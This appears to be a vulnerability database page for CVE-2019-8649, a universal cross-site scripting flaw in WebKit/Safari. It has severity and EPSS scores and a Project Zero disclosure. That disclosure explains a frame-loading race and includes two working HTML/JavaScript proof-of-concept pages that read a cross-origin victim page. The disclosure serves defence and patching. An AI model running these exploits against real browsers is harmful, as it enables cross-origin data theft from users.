CVE-2019-8649

Score / Severity

6.1

Medium

CVE Descriptions

A logic issue existed in the handling of synchronous page loads. This issue was addressed with improved state management. This issue is fixed in iOS 12.4, macOS Mojave 10.14.6, tvOS 12.4, Safari 12.1.2, iTunes for Windows 12.9.6, iCloud for Windows 7.13, iCloud for Windows 10.6. Processing maliciously crafted web content may lead to universal cross site scripting.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	6.1	MEDIUM	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Changed An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. Low There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Low Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	4.3		AV:N/AC:M/Au:N/C:N/I:P/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	1.16%	–	–	–	–
2021-09-05	–	1.16%	–	–	–
2021-11-07	–	1.16%	–	–	–
2022-01-09	–	1.16%	–	–	–
2022-01-30	–	1.16%	–	–	–
2022-02-06	–	–	38.92%	–	–
2022-04-03	–	–	10.21%	–	–
2022-12-25	–	–	10.21%	–	–
2023-01-01	–	–	10.21%	–	–
2023-02-26	–	–	10.21%	–	–
2023-03-12	–	–	–	0.66%	–
2023-03-19	–	–	–	0.66%	–
2023-08-06	–	–	–	0.63%	–
2023-10-15	–	–	–	0.63%	–
2023-10-22	–	–	–	0.78%	–
2023-11-26	–	–	–	0.81%	–
2023-12-31	–	–	–	1.61%	–
2024-02-11	–	–	–	1.61%	–
2024-06-02	–	–	–	1.61%	–
2024-06-16	–	–	–	1.61%	–
2024-08-25	–	–	–	2.27%	–
2024-12-15	–	–	–	3.14%	–
2025-01-19	–	–	–	3.14%	–
2025-03-18	–	–	–	–	9.77%
2025-03-18	–	–	–	–	9.77,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	67%
2021-11-07	68%
2022-01-09	29%
2022-01-30	3%
2022-02-06	97%
2022-04-03	94%
2022-12-25	95%
2023-01-01	94%
2023-02-26	95%
2023-03-12	76%
2023-03-19	77%
2023-08-06	76%
2023-10-15	77%
2023-10-22	79%
2023-11-26	8%
2023-12-31	86%
2024-02-11	87%
2024-06-02	87%
2024-06-16	88%
2024-08-25	9%
2024-12-15	91%
2025-01-19	91%
2025-03-18	92%
2025-03-18	92%

Exploit information

Exploit Database EDB-ID : 47162

Publication date : 2019-07-24 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

BACKGROUND As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121, WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform synchronous cross-origin page loads. In certain conditions, this might lead to time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve UXSS. (copied from lokihardt's report) ``` bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { // Support for <frame src="javascript:string"> URL scriptURL; URL url; if (protocolIsJavaScript(urlString)) { scriptURL = completeURL(urlString); // completeURL() encodes the URL. url = blankURL(); } else url = completeURL(urlString); if (shouldConvertInvalidURLsToBlank() && !url.isValid()) url = blankURL(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made. if (!frame) return false; if (!scriptURL.isEmpty()) frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom return true; } ``` The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL` call. ``` - if (!scriptURL.isEmpty()) + if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) frame->script().executeIfJavaScriptURL(scriptURL); ``` It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203 was reported, which abused the HTML parser to bypass the added check. The problem was that `isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler to load a cross-origin page inside `loadOrRedirectSubframe`. As a result, another check has been added (see the comment below): ``` + bool hasExistingFrame = ownerElement.contentFrame(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); if (!frame) return false; - if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) + // If we create a new subframe then an empty document is loaded into it synchronously and may + // cause script execution (say, via a DOM load event handler) that can do anything, including + // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated. + bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL()); + if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL)) frame->script().executeIfJavaScriptURL(scriptURL); ``` VULNERABILITY DETAILS The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an `iframe` element with an existing content frame. However, due to the way the node insertion algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in progress: https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185 ``` static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child, ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion) { NodeVector postInsertionNotificationTargets; { ScriptDisallowedScope::InMainThread scriptDisallowedScope; if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree())) containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval(); doNodeInsertion(); ChildListMutationScope(containerNode).childAdded(child); postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child); } [...] ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child)); for (auto& target : postInsertionNotificationTargets) target->didFinishInsertingNode(); [...] ``` Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a subtree which is being inserted contains multiple `iframe` elements, the first one can act as a trigger for the JavaScript code that creates a content frame for another element right before its `requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can be tricked with the help of the HTML parser. It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this is to save a gesture token by performing an asynchronous load of a `javascript:` URI. VERSION Safari 12.0.3 (14606.4.5) WebKit r243998 REPRODUCTION CASE <body> <h1>Click anywhere</h1> <script> let counter = 0; function run() { if (++counter == 2) { parent_frame = frame.contentDocument.querySelector("iframe"); frame1 = parent_frame.appendChild(document.createElement("iframe")); frame2 = parent_frame.appendChild(document.createElement("iframe")); frame1.src = "javascript:top.runChild()"; } } let child_counter = 0; function runChild() { if (++child_counter == 2) { parent_frame.appendChild(frame2); a = frame2.contentDocument.createElement("a"); a.href = cache_frame.src; a.click(); showModalDialog(URL.createObjectURL(new Blob([` <script> let intervalID = setInterval(() => { try { opener.frame.document.foo; } catch (e) { clearInterval(intervalID); window.close(); } }, 100); </scr` + "ipt>"], {type: "text/html"}))); frame2.src = "javascript:alert(document.documentElement.outerHTML)"; } } onclick = _ => { frame = document.body.appendChild(document.createElement("iframe")); frame.contentWindow.location = `javascript:'<b><p><iframe` + ` src="javascript:top.run()"></iframe></b></p>'`; } cache_frame = document.body.appendChild(document.createElement("iframe")); cache_frame.src = "http://example.com/"; // victim page URL cache_frame.style.display = "none"; </script> </body> From WebKit's bugtracker: Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit has blocked the original repro case because it relies on executing javascript: URIs synchronously, the underlying issue is still not fixed. Currently, `requestFrame` is implemented as follows: bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { [...] Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1*** if (!frame) return false; if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) { // FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case. // Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585). if (urlString == "javascript:''" || urlString == "javascript:\"\"") frame->script().executeIfJavaScriptURL(scriptURL); else frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2*** } return true; } By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin context. Updated repro: <body> <h1>Click anywhere</h1> <script> let counter = 0; function run(event) { ++counter; if (counter == 2) { event.target.src = "javascript:alert(document.documentElement.outerHTML)"; } else if (counter == 3) { frame = event.target; a = frame.contentDocument.createElement("a"); a.href = cache_frame.src; a.click(); showModalDialog(URL.createObjectURL(new Blob([` <script> let intervalID = setInterval(() => { try { opener.frame.document.foo; } catch (e) { clearInterval(intervalID); window.close(); } }, 100); </scr` + "ipt>"], {type: "text/html"}))); } } onclick = _ => { frame = document.body.appendChild(document.createElement("iframe")); frame.contentWindow.location = `javascript:'<b><p><iframe` + ` onload="top.run(event)"></iframe></b></p>'`; } cache_frame = document.body.appendChild(document.createElement("iframe")); cache_frame.src = "http://example.com/"; // victim page URL cache_frame.style.display = "none"; </script> </body> I'd recommend you consider applying a fix similar to the one that the Blink team has in https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62, i.e. using the frame's owner document as a fallback for the security check.